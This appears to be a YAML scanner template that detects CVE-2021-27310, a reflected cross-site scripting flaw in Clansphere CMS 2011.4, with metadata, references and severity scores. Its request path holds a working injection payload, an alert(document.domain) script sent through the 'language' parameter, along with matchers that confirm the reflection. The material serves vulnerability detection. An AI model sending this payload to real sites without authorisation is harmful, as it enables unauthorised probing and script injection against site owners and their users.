50 lines
1.9 KiB
YAML
50 lines
1.9 KiB
YAML
id: CVE-2021-27310
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info:
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name: Clansphere CMS 2011.4 - Cross-Site Scripting
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author: alph4byt3
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severity: medium
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description: Clansphere CMS 2011.4 contains an unauthenticated reflected cross-site scripting vulnerability via the "language" parameter.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
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remediation: |
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To mitigate this vulnerability, it is recommended to apply the latest security patches or updates provided by the vendor.
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reference:
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- https://github.com/xoffense/POC/blob/main/Clansphere%202011.4%20%22language%22%20xss.md
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- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27310
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- https://nvd.nist.gov/vuln/detail/CVE-2021-27310
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-27310
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cwe-id: CWE-79
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epss-score: 0.00106
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epss-percentile: 0.42863
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cpe: cpe:2.3:a:csphere:clansphere:2011.4:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: csphere
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product: clansphere
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tags: cve2021,cve,xss,clansphere,csphere
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http:
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- method: GET
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path:
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- '{{BaseURL}}/clansphere/mods/clansphere/lang_modvalidate.php?language=language%27%22()%26%25%3Cyes%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&module=module'
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "</script><script>alert(document.domain)</script>"
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- type: word
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part: header
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words:
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- text/html
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100e69c9202a19d14beb0a352dce2ab148f83545242f4d37a74e73cd74c2396db02022100a3124f4480e398cf4e08e74df69f6bfafbbbd0409e53ef3402b8c7cd3e7f9afa:922c64590222798bb761d5b6d8e72950 |